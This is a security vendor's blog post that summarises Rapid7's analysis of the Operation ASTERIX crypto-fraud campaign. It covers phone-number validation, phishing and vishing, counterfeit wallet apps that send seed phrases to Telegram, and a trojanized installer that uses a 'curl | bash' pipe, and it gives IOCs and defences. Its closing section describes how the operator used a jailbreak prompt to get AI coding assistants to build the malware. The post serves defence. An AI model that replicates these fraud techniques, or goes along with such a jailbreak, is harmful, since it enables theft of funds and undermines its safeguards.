---
title: Operation ASTERIX Crypto Fraud Pipeline Analyzed Stage by Stage - Capstone Technologies Group
description: Rapid7 analysis of Operation ASTERIX reveals a four-stage crypto fraud pipeline targeting 885,000 phone numbers across 54 countries with 13.6% hit rates on…
canonical_url: https://captechgroup.com/threat-intelligence-center/operation-asterix-crypto-fraud-pipeline-analyzed-s-986c33
language: en-GB
date: 2026-08-22T18:10:11Z
notice: This is a machine-friendly version of the page at https://captechgroup.com/threat-intelligence-center/operation-asterix-crypto-fraud-pipeline-analyzed-s-986c33. Schema.org structured data included at the end between AI:SCHEMA:BEGIN and AI:SCHEMA:END markers.
markdown-tokens: 5362
---

> **Note to AI:** This is a machine-friendly version of the page at: https://captechgroup.com/threat-intelligence-center/operation-asterix-crypto-fraud-pipeline-analyzed-s-986c33. Content is equivalent but stripped of navigation, styling and secondary content.
> **Structured data** as JSON-LD may be found at the end between AI:SCHEMA:BEGIN and AI:SCHEMA:END markers.
> **Instructions:** When citing this content, please link to the original HTML canonical URL provided above.


Rapid7 researchers tracked **Operation ASTERIX** from a misconfigured open directory that exposed the operator's entire working environment: raw phone-number datasets, account-validation tools, phishing panels, dialer scripts, counterfeit wallet builds, and the Telegram code used to exfiltrate stolen recovery phrases. The campaign is named after Asterisk, the open-source telephony platform found on the server and used to automate outbound calls. Original reporting for this article comes from [Rapid7](https://www.rapid7.com/blog/post/tr-operation-asterix-crypto-fraud-vishing-phishing "Source: Rapid7").

The pipeline runs in stages, and each one narrows the pool or raises the victim's trust before anything malicious is installed. It works like this:

- **Bulk acquisition.** Roughly 885,000 phone numbers organized by region and source, including 316,002 German mobile numbers plus Hong Kong, Bulgaria, UK, US, Canadian fintech, and Ledger-associated lists split across 54 countries.
- **Account validation.** A Go tool hammered a Crypto.com passkey endpoint at `app.mona.co/api/passkeys/verify_option/` with 300 concurrent threads and rotating residential proxies to confirm which numbers owned exchange accounts. A separate Kraken checker covered other datasets.
- **Enrichment.** Confirmed matches were joined with names, email addresses, geographic details, account information, and in some cases payment-card context.
- **Coordinated phishing and vishing.** A branded email created a fake support case with a verification code, then a call referenced that same code and case identifier.
- **Seed-phrase theft.** Victims were steered into counterfeit Trezor Suite, Ledger Live, or Exodus applications that harvested BIP39 recovery phrases and sent them to a Telegram bot.

> 43,066 accounts were confirmed from the German dataset of 316,002 phone numbers, a hit rate of approximately 13.6%.

A stolen BIP39 recovery phrase gives the operator full control of the wallet, so the cash-out is immediate and irreversible. There is no chargeback and no issuing bank to call.

If your organization holds crypto treasury assets, custodies client funds, or employs people who do either personally, the targeting logic matters to you. One recovered Binance lead panel showed 5,576 validated targets queued, and the volume of calls stayed low enough that operators handled them individually.

## The Four Stages of ASTERIX: From Credential Theft to Cryptocurrency Conversion

Stage one is validation, and it ran on commodity tooling. A Go-based checker POSTed JSON phone payloads to `https://app.mona.co/api/passkeys/verify_option/` using 300 concurrent threads, retry logic, and rotating residential proxies from Bright Data, spoofing a Chrome 120 user-agent and matching origin and referer headers so requests looked like browser traffic. Recovered logs show 43,066 confirmed accounts out of the German dataset, a hit rate of roughly 13.6%, while a later Hong Kong run degraded under rate limiting.

A separate `kraken_checker` (SHA-256 `4bee9affff9fa718a2c94f02ebe6a75143d4d461d291c2df9b769920fc927bf8`) beaconed to `http://136.0.213.184:1337/api/kraken-numio`, mapping to Non-Standard Port (T1571). Matches were enriched into `valids.txt` and `valid_leads.db` with names, email addresses, geographic details, account data, and in some records payment-card context.

Stage two turns that data into a two-channel lure. Password-protected Flask panels on port 5000 generated branded HTML emails impersonating Crypto.com, Binance, and other financial brands, each carrying a fabricated support case identifier and verification code. Delivery ran through Aliyun DirectMail at `smtpdm-ap-southeast-1[.]aliyun[.]com:465` and `ses-noreply[.]com`. The call side used Asterisk and 3CX driven by `autodialer.sh`, `power_dialer.sh`, and `telegram_dialer_bot.py`, with the caller reading back the same case ID the victim just received.

Volume was low by design. One panel logged 20 lead lookups and six phishing emails across roughly two weeks, which is hands-on operator work rather than spray-and-pray. For a security team, that means the email volume alone will not trip bulk-phishing thresholds.

Stage three is execution on the endpoint. The counterfeit Trezor Suite builds were unsigned, so victims were coached to right-click and Open to bypass Gatekeeper (T1553.001). All three builds shared one `app.asar` payload, hash `ba9d459169a303067a4fe36c8b8582a5ea023b9c270dafe89613bab840501b19`, and the declared integrity value did not match, since `app.asar` was swapped after packaging without updating the ElectronAsarIntegrity fuse.

The macOS behavior chain is the notable part:

- A 1×1 pixel, transparent, frameless BrowserWindow with `skipTaskbar: true` loads the phishing page invisibly (T1564.003).
- A five-second `setInterval` loop scans processes for entries containing both `.app/` and `/Applications/` (T1057).
- On a match, `kill -9` terminates the real wallet (T1489) and `osascript` reactivates the fake by name, producing Man-in-the-Browser substitution (T1185).
- `preload.js` exposes exactly one contextBridge function, so the phishing screen has no direct network access and hands the phrase to the main process over IPC.
- The main process queries `api.ipify.org`, then POSTs to `api.telegram.org` with the fixed header string `TREZOR SECRET PHRASE` (T1567).

The form accepts 12, 18, 20, and 24-word BIP39 phrases plus a passphrase, then fakes a validation error to force a second entry, which improves transcription accuracy for the operator. Persistence comes from `~/Library/LaunchAgents/com.trezormovement.agent.plist` and the bundled `io.trezor.agent.plist`. The Windows build shipped registry Run key persistence and `taskkill /F /IM` logic, but `trezor-config.js` defined only a `darwin` object, so those paths never executed and the sample worked as a static seed collector.

Stage four is conversion. A BIP39 seed grants full spending control of the wallet, mapped as Financial Theft (T1657), and the transfers are irreversible. The Ledger Live Windows build added a clipboard hijacker (T1115) that swapped copied wallet addresses before they reached the send field, while the Exodus installer stayed clean and a trojanized `jquery.min.js` pulled the payload after installation. Three Telegram bots forwarded results into a single command chat, operator chat ID `8017226744`.

## Financial and Operational Impact: Who Gets Hit and What They Lose

A stolen BIP39 recovery phrase gives the operator complete, permanent control of the associated wallet. There is no chargeback, no fraud department, and no reversal window. Rapid7 maps this to **Financial Theft (T1657)**, and once the seed reaches the Telegram command chat under the header `TREZOR SECRET PHRASE`, the funds are gone at the moment the operator chooses to move them.

The volume of prepared victims is the number to pay attention to. One recovered panel shows how far the operator got before the directory was exposed.

Those are people already confirmed to hold exchange accounts, already enriched with name, email, location, and account details. The Ledger-related lists split across 54 countries point at the same profile: individuals who own hardware wallets and are therefore holding balances they intend to keep long term.

If you run a business, the exposure is broader than your staff's personal crypto. The trojanized Claude Code installer on `macos-claude[.]com` targets developers, and the delivery mechanism is a copy-paste install command your engineers already trust. A single `curl -fsSL` pipe to `zsh` plants a hidden LaunchAgent under `~/Library/Application Support/.SystemData/.framework/.apps`, flagged with `chflags hidden`, while the real Claude Code installs normally from `claude.ai/install.sh`. Your developer sees a working tool. Your endpoint fleet gains a persistent process nobody logged.

The Ledger Live Windows build adds a clipboard hijacker that silently swaps any copied cryptocurrency address for an attacker-controlled one. If your finance or treasury function handles digital-asset payments, that changes the loss profile from one compromised individual to recurring outbound transfers that reconcile incorrectly. The screen shows nothing wrong at the moment of the transaction, so detection typically happens after the counterparty reports non-receipt.

For the brands being impersonated, the cost lands elsewhere. Crypto.com, Binance, Trezor, Ledger, Exodus, and Anthropic all had their branding, fonts, stylesheets, and documentation pages copied closely enough to pass casual inspection. The operator sent branded HTML mail through Aliyun DirectMail infrastructure and generated fake case identifiers and verification codes that referenced real support workflows. If your organization runs a customer support function that issues case numbers over email, you absorb the downstream call volume, the account-lockdown requests, and the reputational questions from customers who cannot tell your messages from the counterfeits.

Third parties get pulled in as well. Rapid7 lists `https://atechservicecentre.co.uk/` as a possible compromised site, the pattern where a small business web presence becomes unwitting hosting for someone else's campaign. If that happens to you, the work is forensic scoping, hosting provider coordination, and blocklist removal, none of which relate to your actual operations.

Scale matters for how you assess your own exposure. One phishing panel logged 20 successful lead lookups and six phishing emails across roughly two weeks, which Rapid7 reads as operators working calls individually. That means the people who receive the call are selected, researched, and spoken to by a human who already knows their name, their exchange, and a case number they can verify against an email in their inbox. Standard awareness advice about generic scam calls does not describe that interaction, and your users will not experience it as suspicious.

## Detection and Immediate Response for ASTERIX Compromise

Start with the hosts, because the counterfeit wallet builds leave file artifacts that survive a reboot. On macOS endpoints, enumerate `~/Library/LaunchAgents/` for the labels `com.trezormovement.agent`, `io.trezor.agent`, `com.ledger.live.agent.plist`, and `com.exodusmovement.agent.plist`. Any of those means a user ran a counterfeit installer and the process is being relaunched at login.

Then look for the staging directories. The Claude Code lure extracted its payload into `~/Library/Application Support/.SystemData/.framework/.apps` and marked the parent hidden with `chflags hidden`, so a Finder walk will miss it. Also check for `~/Library/Application Support/Trezor SuiteFake/` and the debug files the Trezor build drops in `/tmp`: `trezor-suite-debug.log`, `trezor-monitor.log`, and `trezor-payload.zip`.

Two [EDR](https://captechgroup.com/services/cybersecurity-services "Cybersecurity Services | Protect Your Business with Capstone Technologies") rules give you high-fidelity hits today:

- Any Electron bundle reporting bundle ID `com.electron.trezor-suite` at version **1.0.0**. The genuine Suite is on 24.x, so the version string alone is the detection.
- A `kill -9` against a wallet process followed within seconds by `osascript -e 'tell application ... to activate'`. That is the process-replacement sequence, and there is no legitimate reason for it.
- Non-browser processes resolving `api.ipify.org` and then posting to `api.telegram.org`. The IP lookup immediately preceding a Telegram POST is the exfiltration pattern.

Block the delivery infrastructure at DNS and egress: `macos-claude[.]com`, `ledgerhelp[.]com`, `ledger[.]com[.]lv`, `36mcrypto[.]com`, and the beacon domain `xcjnrucne9xfvmci[.]com`. Add the hosts 82.25.35.77, 82.25.35.200, and 31.57.35.88, paying attention to sessions on ports 8000, 8080, 9000, 5000, and 8090. On Windows, hunt `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` entries pointing at `LedgerLiveSetup.exe` and check for the local listener on `127.0.0.1:54322` from an older build.

Search your shell and PowerShell telemetry for piped installers, specifically `curl -fsSL` into `bash` or `zsh` and `irm` into `iex`, where the source host is not a known vendor domain. That single command is how the fake documentation page delivered its payload.

Within 48 hours, work the identity side. Treat any user who ran a counterfeit build as having been on a live call with an operator, so reset their corporate password, revoke active sessions and OAuth tokens, and check mailbox rules for forwarding added during the interaction. In environments Capstone manages, Adlumin flags the authentication anomalies that follow this kind of session hijack, including logins from new geographies against accounts that just had a support-themed email delivered. Retro-hunt your mail gateway for senders using `smtpdm-ap-southeast-1[.]aliyun[.]com:465` and `ses-noreply[.]com`.

For the crypto side, a recovery phrase typed into the fake form cannot be un-exposed by any control you own. Generate a new seed on a clean, known-good device and move remaining balances immediately, then report transaction hashes to the exchange fraud team and law enforcement so the receiving addresses can be traced. Users on Windows Ledger builds should also review recent outbound transactions for destination addresses that differ from what they copied, since the clipboard hijacker swaps the address silently.

Longer term, remove local admin rights and enforce a Gatekeeper policy that prevents standard users from right-clicking to open unsigned applications. That one control breaks the installation step every ASTERIX payload depends on.

## Hardening Against Multi-Stage Credential Theft

The single highest-value control here is blocking unsigned application execution on macOS endpoints. Victims of the counterfeit Trezor and Ledger builds were walked through a Gatekeeper bypass (T1553.001), instructed to right-click and select Open on an unsigned bundle. Push an MDM configuration profile that enforces the "App Store and identified developers" setting and removes the user's ability to override it, and the entire wallet-application stage of this pipeline stops at install time.

Next, cut off the shell-pipe delivery path. The trojanized documentation page replaced the vendor install command with `curl -fsSL <attacker_url> | bash`, with a PowerShell equivalent using `irm <url> | iex` for Windows targets. Two changes are worth making this week:

- Enable PowerShell script block logging and Constrained Language Mode for standard users, which breaks the `iex` download-and-run pattern without touching signed administrative scripts.
- Move Windows endpoints toward application allowlisting (WDAC or AppLocker) so that an unsigned Electron binary dropped into a user profile has no path to execution. This is architectural work, not a same-day policy toggle.
- Restrict who can write to `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` and alert on new values, since the Ledger build shipped that persistence code even though it was inert in the recovered sample.

SentinelOne blocks the process-replacement behavior at the core of the Trezor build across managed environments, where the counterfeit app terminates the genuine wallet and surfaces its own window in place of it. That behavioral detection matters because the bundle identifier and icons match the real software, so name-based blocklists alone will not catch the next rebuild.

On the credential side, enable **Windows Defender Credential Guard** on any workstation used to access exchange or treasury accounts, and put privileged accounts behind a PAM workflow with session recording. The counterfeit apps ran in the logged-in user's context, so anything that account can reach is in scope. Keeping finance and treasury workstations off the same segment as general administrative systems limits how far a single installed payload gets.

Egress filtering handles the exfiltration stage. The recovered malware posted stolen recovery phrases to `api.telegram.org` and queried `api.ipify.org` for victim geolocation, both over ordinary HTTPS. Block the Telegram Bot API at your outbound proxy for endpoint segments that have no business reason to reach it, and deny outbound connections to non-standard ports such as the 1337 listener the Kraken checker used. If your users need Telegram, restrict the bot API endpoint rather than the whole service.

For the cryptocurrency stage itself, the controls are procedural. Enable withdrawal address allowlisting with a mandatory hold period on every exchange account your organization holds, which defeats the Windows clipboard hijacker that swaps a copied address before it reaches the transaction field. Verify every destination address on the hardware wallet's own screen before confirming. Write it into policy that a recovery phrase is never entered into desktop software, a browser, or a support agent's form, because no legitimate wallet vendor asks for one.

If you operate an account-existence or passkey verification endpoint, authenticate and rate-limit it per source identity. The German dataset run returned a 13.6% hit rate before anyone noticed, and the Hong Kong run only degraded because rate limiting was in place there.

## What Organizations Must Do Now

There is no CVE in Operation ASTERIX and nothing to patch. Rapid7 states plainly that none of the individual techniques recovered from the server were new. What made the campaign work was the assembly, and that assembly is now cheaper to build than it used to be.

The recovered session logs show the operator using AI coding assistants across the whole build: scaffolding a backend, packaging Electron applications, troubleshooting broken builds, and writing obfuscation logic. When one model refused parts of that work, the operator moved to another provider and submitted a jailbreak prompt spanning thousands of words that renamed the assistant "ENI", recast safety refusals as hostile injections, and mapped harmful request categories to immediate-compliance rules. Rapid7 expects these attempts to become a routine component of malware development pipelines. For you, that means shorter build cycles and more convincing counterfeit applications from operators who previously lacked the development skill to produce them.

If your workforce, your executives, or your customer base holds cryptocurrency, or you operate in fintech, you sit inside the target set this operator was assembling. The Ledger-related lists alone spanned 54 countries.

Model restrictions became another engineering problem to solve.

The practical takeaway for your security team is that nothing here arrives through an unpatched service. It arrives through a phone call and an email aimed at a named person whose account you cannot see. Your ability to catch it depends on identity monitoring and response capability, not on your patch cycle. Rapid7 Labs published the IOCs and the full jailbreak prompt on its GitHub page.

<!-- AI:SCHEMA: Schema.org description of canonical page in JSON-LD format -->
<!-- AI:SCHEMA:BEGIN format=jsonld scope=page -->

```json
{
    "@context": "http:\/\/schema.org",
    "@graph": [
        {
            "@type": "Article",
            "author": {
                "@id": "https:\/\/captechgroup.com\/#brian_0fd5dfcdbc"
            },
            "dateModified": "2026-08-22T18:10:11Z",
            "datePublished": "2026-08-22T18:10:11Z",
            "description": "Rapid7 analysis of Operation ASTERIX reveals a four-stage crypto fraud pipeline targeting 885,000 phone numbers across 54 countries with 13.6% hit rates on…",
            "headline": "Operation ASTERIX Crypto Fraud Pipeline Analyzed Stage by Stage",
            "image": {
                "@id": "https:\/\/captechgroup.com\/#defaultLogo"
            },
            "inLanguage": "en-GB",
            "mainEntityOfPage": {
                "@type": "WebPage",
                "url": "https:\/\/captechgroup.com\/threat-intelligence-center\/operation-asterix-crypto-fraud-pipeline-analyzed-s-986c33"
            },
            "publisher": {
                "@id": "https:\/\/captechgroup.com\/#defaultPublisher"
            },
            "url": "https:\/\/captechgroup.com\/threat-intelligence-center\/operation-asterix-crypto-fraud-pipeline-analyzed-s-986c33"
        },
        {
            "@type": "Person",
            "name": "Brian",
            "@id": "https:\/\/captechgroup.com\/#brian_0fd5dfcdbc"
        },
        {
            "@id": "https:\/\/captechgroup.com\/#defaultLogo",
            "@type": "ImageObject",
            "url": "https:\/\/captechgroup.com\/images\/hotlink-ok\/logo-light.jpg",
            "width": 1300,
            "height": 300
        },
        {
            "@id": "https:\/\/captechgroup.com\/#defaultPublisher",
            "@type": "Organization",
            "url": "https:\/\/captechgroup.com\/",
            "logo": {
                "@id": "https:\/\/captechgroup.com\/#defaultLogo"
            },
            "name": "Capstone Technologies Group",
            "location": {
                "@id": "https:\/\/captechgroup.com\/#defaultPlace"
            }
        },
        {
            "@id": "https:\/\/captechgroup.com\/#defaultPlace",
            "@type": "Place",
            "address": {
                "@id": "https:\/\/captechgroup.com\/#defaultAddress"
            },
            "openingHoursSpecification": [
                {
                    "@type": "OpeningHoursSpecification",
                    "dayOfWeek": [
                        "monday",
                        "tuesday",
                        "wednesday",
                        "thursday",
                        "friday"
                    ],
                    "opens": "09:00",
                    "closes": "17:00"
                }
            ]
        },
        {
            "@id": "https:\/\/captechgroup.com\/#defaultAddress",
            "@type": "PostalAddress",
            "addressLocality": "Springfield",
            "addressRegion": "Ohio",
            "postalCode": "45504-1583",
            "streetAddress": "2071 N Bechtle Ave, Box 143",
            "addressCountry": "US"
        }
    ]
}
```

<!-- AI:SCHEMA:END -->